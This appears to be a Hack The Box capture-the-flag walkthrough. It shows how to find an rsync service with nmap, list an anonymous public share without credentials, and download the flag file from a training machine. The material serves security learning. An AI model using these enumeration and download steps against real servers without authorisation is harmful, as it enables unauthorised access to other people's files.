Synced: Use Rsync to browse public shares

posted on 1.6.2023 by Below Surface in "Hack The Box"

Port scan first, exchange ip with your machines IP address.

sudo nmap -sV ip

Relevant output:

PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)

We will try to connect via rsync without any login:

rsync --list-only ip::

Output:

public          Anonymous Share

Let's have a look into the public share:

rsync --list-only ip::public

Output:

drwxr-xr-x          4,096 2022/10/24 18:02:23 .
-rw-r--r--             33 2022/10/24 17:32:03 flag.txt

Let's download the file flag.txt to our local machine:

rsync ip::public/flag.txt flag.txt

There won't be any output, but the file should be downloaded and available:

cat flag.txt
